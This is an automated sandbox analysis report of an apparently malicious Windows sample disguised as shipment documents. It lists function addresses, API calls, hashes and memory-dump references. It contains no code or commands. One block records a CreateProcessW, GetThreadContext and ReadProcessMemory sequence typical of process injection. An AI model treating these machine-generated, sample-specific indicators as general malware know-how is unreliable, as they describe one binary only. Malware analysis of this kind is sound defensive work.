                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __lock_file_memset
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 26237723-0
                                                                                                                                                                                                          • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                                                          • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                                                                                                                                          Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                          • __lock_file.LIBCMT ref: 00414EE4
                                                                                                                                                                                                            • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                                                                                                                                          • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 717694121-0
                                                                                                                                                                                                          • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                                                          • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                                                                                                                                          Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                                                          • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Message$DispatchTranslate
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1706434739-0
                                                                                                                                                                                                          • Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                                                          • Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A
                                                                                                                                                                                                          Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                                                          • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Message$DispatchTranslate
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1706434739-0
                                                                                                                                                                                                          • Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                                                          • Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A
                                                                                                                                                                                                          Function 03FE42ED Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 03FE4AAB
                                                                                                                                                                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03FE4B41
                                                                                                                                                                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03FE4B63
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1446656315.0000000003FE3000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FE3000, based on PE: false
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_3fe3000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2438371351-0
                                                                                                                                                                                                          • Opcode ID: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
                                                                                                                                                                                                          • Instruction ID: b94c008440b6e5d3a2ab4be480529fd9317a3315740a5cfb2ba51d553b51bb53
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E712BD24E24658C6EB24DF64D8507DEB232EF68300F1094ED910DEB7A5E77A4F81CB5A
                                                                                                                                                                                                          Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ProtectVirtual
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 544645111-0
                                                                                                                                                                                                          • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                                                          • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                                                                                                                                                          Function 004092C0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                                                                                                                          • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                                                                                                                                                                                                          Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ProcWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 181713994-0
                                                                                                                                                                                                          • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                                                          • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                                                                                                                                                          Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateHeap
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 10892065-0
                                                                                                                                                                                                          • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                                                          • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                                                                                                                                          Function 00444343 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                                                                                                                                                          • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: File$PointerWrite
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 539440098-0
                                                                                                                                                                                                          • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                                                          • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                                                                                                                                                          Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ProcWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 181713994-0
                                                                                                                                                                                                          • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                                                          • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                                                                                                                                                          Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wfsopen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 197181222-0
                                                                                                                                                                                                          • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                                                          • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                                                                                                                                          Function 0040D900 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CloseHandle
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2962429428-0
                                                                                                                                                                                                          • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                                                          • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                                                                                                                                                          Function 03FE52EC Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • Sleep.KERNELBASE(000001F4), ref: 03FE5301
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1446656315.0000000003FE3000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FE3000, based on PE: false
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_3fe3000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Sleep
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3472027048-0
                                                                                                                                                                                                          • Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                                                                                                                                                          • Instruction ID: a796dc9b0c95c34077aec3dee69a8488d4b75cd6ba51043c12bdbd75d6d5ad02
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 18E0BF7494010DEFDB00EFB8D6496DE7BB4EF04301F1005A1FD05D7681DB709E548A62
                                                                                                                                                                                                          Function 03FE52F0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • Sleep.KERNELBASE(000001F4), ref: 03FE5301
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1446656315.0000000003FE3000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FE3000, based on PE: false
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_3fe3000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Sleep
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3472027048-0
                                                                                                                                                                                                          • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                                                          • Instruction ID: 7671d5edaddda67e61663cc5c77decb8a44c9d759749283d72915254e5b4c6bd
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9BE0E67494010DDFDB00EFB8D64969E7FB4EF04301F1001A1FD05D2281D6709D508A62

                                                                                                                                                                                                          Non-executed Functions

                                                                                                                                                                                                          Function 0047C08E Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 676windowkeyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                                                                                                                                          • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                                                                                                                                          • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                                                                                                                                          • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                                                                                                                                          • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                                                                                                                                                          • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                                                                                                                                          • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 0047C2FB
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
